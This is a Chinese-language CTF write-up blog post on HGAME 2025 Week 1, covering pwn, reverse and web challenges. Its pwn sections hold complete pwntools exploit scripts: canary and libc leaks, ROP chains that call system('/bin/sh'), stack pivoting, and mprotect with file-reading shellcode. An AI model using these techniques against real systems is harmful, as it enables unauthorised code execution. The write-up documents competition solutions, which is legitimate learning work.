HGAME 2025 Week1

WriteUp

Pwn

counting petals

数组越界

程序保护全开

main 函数

运行程序,每次循环中输入的内容都会在后面打印出来。

经过调试,在第 16 次输入的时候,输入的位置是 rbp-0x10,我们知道 v8 是 rbp-0x10、 v9 是 rbp-0xc,这两个变量都是四字节,那么在 rbp-0x10 位置的前四字节是 v9,后四字节是 v8, 因此第 16 次输入可以同时覆盖 v8 跟 v9;然后我们以此类推,canary 是 17,rbp 是 18,rbp+8 是 19。

如果我们只增加后四字节的数值,即0x1000000011,这样就将 v8 覆盖成 0x11,而此时 v9 是 0x10,那么 v9 小于 v8 就会增加一次输入,在后面比较 v5 和 v8 进入循环就会打印第 17 次的内容。如果我们同时修改前后四字节,例如0x1100000011,这样就将 v9 和 v8 都覆盖成了 0x11,那么 v9 等于 v8 就不会有输入。

现在我们尝试将 v8 和 v9 覆盖成 17,那么在后面打印的时候就会将 canary 打印出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
def debug():
attach(p, 'b *$rebase(0x140F)')
pause()

# debug()
p.recvuntil("How many flowers have you prepared this time?")
p.sendline(str(16))

for i in range(15):
p.recvuntil("the flower number {} : ".format(i+1))
p.sendline(str(1))

p.recvuntil(" : ")
p.sendline(str(u64(p64(0x1100000011))))
p.recvuntil("Reply 1 indicates the former and 2 indicates the latter: ")
p.sendline(str(1))

可以看到,rbp-0x10 的位置被覆盖成了0x1100000011;在打印的数值中,我们可以看到十进制的 canary 数值,将其转换 16 进制,确实是 canary

通过将 v8 和 v9 的值覆盖成 17 可以泄露出 canary,那么我们还需要泄露出 libc 地址,而我们知道在 19 的位置有一个 libc 地址,即__libc_start_call_main+128,那么我们将 v8 覆盖成 19 ,v9 的值只需要大于等于 v8,就可以泄露出 canary 和 libc 地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def debug():
attach(p, 'b *$rebase(0x140F)')
pause()

debug()
p.recvuntil("How many flowers have you prepared this time?")
p.sendline(str(16))

for i in range(15):
p.recvuntil("the flower number {} : ".format(i+1))
p.sendline(str(1))

p.recvuntil(" : ")
p.sendline(str(u64(p64(0x1300000013))))
p.recvuntil("Reply 1 indicates the former and 2 indicates the latter: ")
p.sendline(str(1))

p.recvuntil("Let's look at the results.")
data_list = p.recvuntil('=')
data_list = data_list.split(b' + ')
canary = abs(int(data_list[16]))
success('canary:{}'.format(hex(canary)))
libc_base = int(data_list[18]) - 0x29d90
success('libc_base:{}'.format(hex(libc_base)))

之后程序再次循环,此时我们将 v8 的值再修改成一个合适的值,然后逐个写入 gadget 即可构造 rop 链进行gets hell。这里我将 v8 修改成 22,然后从 canary 开始填充。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
p.recvuntil("How many flowers have you prepared this time?")
p.sendline(str(16))

for i in range(15):
p.recvuntil("the flower number {} : ".format(i+1))
p.sendline(str(1))

p.recvuntil(" : ")
p.sendline(str(u64(p64(0x1000000016))))

#17-->canary 18-->rbp 19-->rdi 20-->binsh 21-->ret 22-->system
payload = [
str(u64(p64(canary))), # 17
str(111), # 18
str(u64(p64(pop_rdi))), # 19
str(u64(p64(binsh))), # 20
str(u64(p64(ret))), # 21
str(u64(p64(system))) # 22
]

for data in payload:
p.recvuntil(" : ")
p.sendline(data)

p.recvuntil("Reply 1 indicates the former and 2 indicates the latter: ")
p.sendline(str(1))

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn')
# p = remote('node1.hgame.vidar.club', 30345)
libc = ELF('./libc.so.6')

def debug():
# attach(p, 'b *$rebase(0x13E5)')
attach(p, 'b *$rebase(0x140F)')
# attach(p, 'b *$rebase(0x147F)')
pause()

# debug()
p.recvuntil("How many flowers have you prepared this time?")
p.sendline(str(16))

for i in range(15):
p.recvuntil("the flower number {} : ".format(i+1))
p.sendline(str(1))

p.recvuntil(" : ")
p.sendline(str(u64(p64(0x1300000013))))
p.recvuntil("Reply 1 indicates the former and 2 indicates the latter: ")
p.sendline(str(1))

p.recvuntil("Let's look at the results.")
data_list = p.recvuntil('=')
data_list = data_list.split(b' + ')
canary = abs(int(data_list[16]))
success('canary:{}'.format(hex(canary)))
libc_base = int(data_list[18]) - 0x29d90
success('libc_base:{}'.format(hex(libc_base)))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
pop_rdi = libc_base + 0x2a3e5
ret = libc_base + 0x29139

p.recvuntil("How many flowers have you prepared this time?")
p.sendline(str(16))

for i in range(15):
p.recvuntil("the flower number {} : ".format(i+1))
p.sendline(str(1))

p.recvuntil(" : ")
p.sendline(str(u64(p64(0x100000016))))

#17-->canary 18-->rbp 19-->rdi 20-->binsh 21-->ret 22-->system
payload = [
str(u64(p64(canary))), # 17
str(111), # 18
str(u64(p64(pop_rdi))), # 19
str(u64(p64(binsh))), # 20
str(u64(p64(ret))), # 21
str(u64(p64(system))) # 22
]

for data in payload:
p.recvuntil(" : ")
p.sendline(data)

p.recvuntil("Reply 1 indicates the former and 2 indicates the latter: ")
p.sendline(str(1))

p.interactive()

format

main 函数存在格式化字符串漏洞,次数可以自定义,但是字符数限制在 3 字符以内;之后调用了 vuln 函数,vuln 函数中 size 是自定义,但是 size 在小于等于 5 时才可以调用 vuln 函数,vuln 函数的 buf 大小是 4;我们还可以发现 vuln 函数中 size 是 unsigned int 类型,因此可以造成整数溢出。

经过反复模糊测试,发现只能输入%p 时来泄露出栈地址(这里预期是直接泄露出地址,但是我不会

/(ㄒoㄒ)/~~),同时 size 输入正整数之后还要输入一个字符。

那么我们先使用一次格式化字符串漏洞来泄露出栈地址

1
2
3
4
5
6
7
p.recvuntil("you have n chance to getshell\n n = ")
p.sendline(str(1))
p.recvuntil("type something:")
p.sendline(b'%p')
p.recvuntil('you type: ')
stack = int(p.recv(14), 16)
success('stack:{}'.format(hex(stack)))

接下来我们输入-1 来进行栈溢出,输入-1 之后还需要输入一个字符。此时我们有足够的空间来构造 payload,但是我们发现并没有 rdi 的 gadget,因此常规的泄露 libc 方法行不通了。

通过仔细查看汇编代码,我们发现有如下部分,这部分就是格式化字符串漏洞 printf(format);可以看到 lea rax, [rbp-0x10]这条汇编语句,意思是在 rbp-0x10 的位置取出数值赋值给 rax,那么我们可以在栈溢出之后返回到这个位置,同时构造出适当的 rbp 并且让 printf 的参数为%n$p 形式,这样在返回到 printf 处就会泄露出 libc

gdb 调试,可以看到在返回地址的下方,即 rbp+0x10 的位置,我们可以放参数%9$p;我们要将这个位置在返回之后变成 rbp-0x10,那么返回后的 rbp 就必须是当前 rbp+0x20 位置的地址,我们可以计算出泄露出的栈地址到这个地址的距离,计算出距离是 0x2130

我们将 rbp 修改,ret 覆盖为汇编lea rax, [rbp-0x10]的地址,然后在栈上写入%9$p

1
2
3
4
5
6
p.recvuntil("you have n space to getshell(n<5)\n n = ")
payload = b'-1\n\x00'
p.send(payload)
p.recvuntil("type something:")
payload = b'\x00'*4 + p64(stack+0x2130) + p64(0x4012CF) + b'%9$p'.ljust(8, b'\x00')
p.sendline(payload)

可以看到,此时返回的 rbp 已经变成了当前 rbp+0x20 的地址(这里可能会失败,需要多试几次)

当返回到lea rax, [rbp-0x10]时,rbp-0x10位置是%9$p,那么经过取值再赋值之后 printf 的参数就是%9$p,这样就可以泄露出 libc 地址

此时我们还需要注意的是,由于我们使用的是 sendline 发送,rbp-8 位置的末尾被覆盖成了 a,而 rbp-8 的位置就是第一个循环次数 n ,因此 n 就覆盖成了 10。这个值也可以改成其他的数值,比如我们可以用 b'\x03'将 n 改成 3,这样就可以只循环 2 两次

泄露出 libc 地址之后,我们再次输入-1,就可以进行栈溢出构造 rop 来 getshell 了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

p = process('./pwn')
libc = ELF('./libc.so.6')
# p = remote('node1.hgame.vidar.club', 30901)

def debug():
# attach(p, 'b *0x4011B6')#vuln
attach(p, 'b *0x4011E8')#read
pause()

# debug()
p.recvuntil("you have n chance to getshell\n n = ")
p.sendline(str(1))
p.recvuntil("type something:")
p.sendline(b'%p')
p.recvuntil('you type: ')
stack = int(p.recv(14), 16)
success('stack:{}'.format(hex(stack)))

p.recvuntil("you have n space to getshell(n<5)\n n = ")
payload = b'-1\n\x00'
p.send(payload)
p.recvuntil("type something:")
payload = b'a'*4 + p64(stack+0x2130) + p64(0x4012CF) + b'%9$p'.ljust(8, b'\x00') + b'\x03'
p.send(payload)
libc_base = int(p.recv(14), 16) - 0x29d90
success('libc_base:{}'.format(hex(libc_base)))

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
pop_rdi = libc_base + 0x2a3e5
ret = 0x40101a

p.recvuntil("type something:")
p.sendline(b'aa')

p.recvuntil("you have n space to getshell(n<5)\n n = ")
payload = b'-1\n\x00'
p.send(payload)

p.recvuntil("type something:")
payload = b'\x00'*4 + b'\x00'*8 + p64(pop_rdi) + p64(binsh)
payload += p64(ret) + p64(system)
p.sendline(payload)

p.interactive()

ezstack

没做出来,复现一下

调试方法

启动 docker

1
docker run -d -p 10003:9999 hgame:ezstack

开两个进程,remote 的端口填 9999(程序监听的是 9999)

1
2
3
4
5
6
7
def debug():
attach(io, 'b *0x40140F')
pause()

io = process('./pwn')
debug()
p = remote('127.0.0.1', 9999)

vuln 函数,有 0x10 字节的溢出

第一次栈迁移到 bss 段,第二次栈迁移泄露出 write 函数;第三次栈迁移构造一个大的 read,第四次栈迁移调用 mprotect 函数,并写入 orw 的 shellcode 打开 flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
context(os='linux', arch='amd64', log_level='debug')

# p = process('./pwn')
# p = remote('127.0.0.1', 10001)
elf = ELF('./pwn')
# libc = ELF('./libc.so.6')
p = remote('node1.hgame.vidar.club', 30749)
libc = ELF('./libc6_2.31-0ubuntu9.16_amd64.so')

write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read = 0x4013D9
bss = 0x404130+0x300
pop_rdi = 0x401713
pop_rsi = 0x401711#pop rsi; pop r15; ret
pop_rbp = 0x40135d
leave_ret = 0x4013cb

def debug():
# gdb.attach(p, 'b *0x401425')
pause()

# debug()
p.recvuntil("Good luck.")
payload = b'a'*0x50 + p64(bss+0x50) + p64(read)
p.send(payload)

p.recvuntil("Good luck.")
payload = p64(pop_rsi) + p64(write_got)*2 + p64(write_plt)
payload += p64(pop_rbp) + p64(bss+0x200) + p64(read)
payload = payload.ljust(0x50, b'a')
payload += p64(bss-0x8) + p64(leave_ret)
p.send(payload)
p.recvuntil(b'\n')
write = u64(p.recv(6).ljust(8, b'\x00'))
success('write:{}'.format(hex(write)))

libc_base = write - libc.sym['write']
success('libc_base:{}'.format(hex(libc_base)))
pop_rsi = libc_base + 0x2601f
pop_rdx = libc_base + 0x119431#pop rdx; pop r12; ret;
mprotect = libc_base + libc.sym['mprotect']
read1 = libc_base + libc.sym['read']

p.recvuntil("Good luck.")
#read( , bss+0x400, 0x200)
payload = p64(pop_rsi) + p64(bss+0x300) + p64(pop_rdx) + p64(0x200)*2
payload += p64(read_plt) + p64(pop_rbp) + p64(bss+0x300-0x8) + p64(leave_ret)
payload = payload.ljust(0x50, b'\x00') + p64(bss+0x1b0-0x8) + p64(leave_ret)
p.send(payload)

shellcode = asm('''
mov rax, 0x67616c662f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall

mov rdi, rax
mov rsi, rsp
mov rdx, 0x40
xor rax, rax
syscall

mov rdi, 4
mov rsi, rsp
mov rdx, 0x40
mov rax, 1
syscall
''')

#mprotect(0x404000, 0x2000, 7)
payload = p64(pop_rdi) + p64(0x404000) + p64(pop_rsi) + p64(0x2000)
payload += p64(pop_rdx) + p64(7)*2 + p64(mprotect)
payload += p64(pop_rbp) + p64(bss+0x200) + p64(0x40140F)
payload += shellcode
p.send(payload)
sleep(0.2)
p.send(p64(0x404788))

p.interactive()

参考

[原创]HGAME 2025—PWN-Pwn-看雪-安全社区|安全招聘|kanxue.com

Reverse

Compress dot new

ida 查看

enc.txt 内容

1
2
{"a":{"a":{"a":{"a":{"a":{"s":125},"b":{"a":{"s":119},"b":{"s":123}}},"b":{"a":{"s":104},"b":{"s":105}}},"b":{"a":{"s":101},"b":{"s":103}}},"b":{"a":{"a":{"a":{"s":10},"b":{"s":13}},"b":{"s":32}},"b":{"a":{"s":115},"b":{"s":116}}}},"b":{"a":{"a":{"a":{"a":{"a":{"s":46},"b":{"s":48}},"b":{"a":{"a":{"s":76},"b":{"s":78}},"b":{"a":{"s":83},"b":{"a":{"s":68},"b":{"s":69}}}}},"b":{"a":{"a":{"s":44},"b":{"a":{"s":33},"b":{"s":38}}},"b":{"s":45}}},"b":{"a":{"a":{"s":100},"b":{"a":{"s":98},"b":{"s":99}}},"b":{"a":{"a":{"s":49},"b":{"s":51}},"b":{"s":97}}}},"b":{"a":{"a":{"a":{"s":117},"b":{"s":118}},"b":{"a":{"a":{"s":112},"b":{"s":113}},"b":{"s":114}}},"b":{"a":{"a":{"s":108},"b":{"s":109}},"b":{"a":{"s":110},"b":{"s":111}}}}}}
00010001110111111010010000011100010111000100111000110000100010111001110010011011010101111011101100110100011101101001110111110111011011001110110011110011110110111011101101011001111011001111000111001101111000011001100001011011101100011100101001110010111001111000011000101001010000000100101000100010011111110110010111010101000111101000110110001110101011010011111111001111111011010101100001101110101101111110100100111100100010110101111111111100110001010101101110010011111000110110101101111010000011110100000110110101011000111111000110101001011100000110111100000010010100010001011100011100111001011101011111000101010110101111000001100111100011100101110101111100010110101110000010100000010110001111011100011101111110101010010011101011100100011110010010110111101110111010111110110001111010101110010001011100100101110001011010100001110101000101111010100110001110101011101100011011011000011010000001011000111011111111100010101011100000

直接丢给deepseek

由于代码逻辑较为复杂,手动还原 flag 可能会比较困难。以下是一个大致的思路:

  1. 解析 JSON:将 enc.txt 中的 JSON 结构解析为 Python 字典。
  2. 构建 Huffman 树:根据字典中的 sw 键值对,构建 Huffman 树。
  3. 生成解码表:遍历 Huffman 树,生成每个字符对应的二进制编码。
  4. 解码二进制字符串:根据生成的解码表,将二进制字符串解码为原始字符。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import json
from collections import defaultdict, deque

#字典
data = {
"a": {
"a": {
"a": {
"a": {
"a": {"s": 125},
"b": {"a": {"s": 119}, "b": {"s": 123}}
},
"b": {"a": {"s": 104}, "b": {"s": 105}}
},
"b": {"a": {"s": 101}, "b": {"s": 103}}
},
"b": {
"a": {
"a": {"a": {"s": 10}, "b": {"s": 13}},
"b": {"s": 32}
},
"b": {"a": {"s": 115}, "b": {"s": 116}}
}
},
"b": {
"a": {
"a": {
"a": {
"a": {"a": {"s": 46}, "b": {"s": 48}},
"b": {
"a": {"a": {"s": 76}, "b": {"s": 78}},
"b": {"a": {"s": 83}, "b": {"a": {"s": 68}, "b": {"s": 69}}}
}
},
"b": {
"a": {"a": {"s": 44}, "b": {"a": {"s": 33}, "b": {"s": 38}}},
"b": {"s": 45}
}
},
"b": {
"a": {"a": {"s": 100}, "b": {"a": {"s": 98}, "b": {"s": 99}}},
"b": {"a": {"a": {"s": 49}, "b": {"s": 51}}, "b": {"s": 97}}
}
},
"b": {
"a": {
"a": {"a": {"s": 117}, "b": {"s": 118}},
"b": {"a": {"a": {"s": 112}, "b": {"s": 113}}, "b": {"s": 114}}
},
"b": {
"a": {"a": {"s": 108}, "b": {"s": 109}},
"b": {"a": {"s": 110}, "b": {"s": 111}}
}
}
}
}

# 构建 Huffman 树
def build_huffman_tree(data):
if 's' in data:
return {'s': data['s'], 'w': data.get('w', 0)}
else:
return {
'a': build_huffman_tree(data['a']),
'b': build_huffman_tree(data['b']),
'w': data.get('w', 0)
}

huffman_tree = build_huffman_tree(data)

# 生成解码表
def generate_decode_table(tree, path="", decode_table={}):
if 's' in tree:
decode_table[tree['s']] = path
else:
generate_decode_table(tree['a'], path + "0", decode_table)
generate_decode_table(tree['b'], path + "1", decode_table)
return decode_table

decode_table = generate_decode_table(huffman_tree)

# 打印解码表
for char, code in decode_table.items():
print(f"Character: {chr(char)}, Code: {code}")

# 解码二进制字符串
binary_string = "00010001110111111010010000011100010111000100111000110000100010111001110010011011010101111011101100110100011101101001110111110111011011001110110011110011110110111011101101011001111011001111000111001101111000011001100001011011101100011100101001110010111001111000011000101001010000000100101000100010011111110110010111010101000111101000110110001110101011010011111111001111111011010101100001101110101101111110100100111100100010110101111111111100110001010101101110010011111000110110101101111010000011110100000110110101011000111111000110101001011100000110111100000010010100010001011100011100111001011101011111000101010110101111000001100111100011100101110101111100010110101110000010100000010110001111011100011101111110101010010011101011100100011110010010110111101110111010111110110001111010101110010001011100100101110001011010100001110101000101111010100110001110101011101100011011011000011010000001011000111011111111100010101011100000"

# 反转解码表,用于解码
reverse_decode_table = {v: k for k, v in decode_table.items()}

# 解码过程
current_code = ""
decoded_text = ""
for bit in binary_string:
current_code += bit
if current_code in reverse_decode_table:
decoded_text += chr(reverse_decode_table[current_code])
current_code = ""

print("Decoded Text:", decoded_text)

hgame{Nu-Shell-scr1pts-ar3-1nt3r3st1ng-t0-wr1te-&-use!}

Web

Level 24 Pacman

查看源代码,在 index.js 中发现有分数变量

直接在控制台中将分数修改为 10000,到到 base64 密码

然后进行 base64 解码和 2 栏栅栏解码


HGAME 2025 Week1
https://tsuk1ctf.github.io/post/8f4f1881.html
作者
Tsuk1
发布于
2025年2月12日
许可协议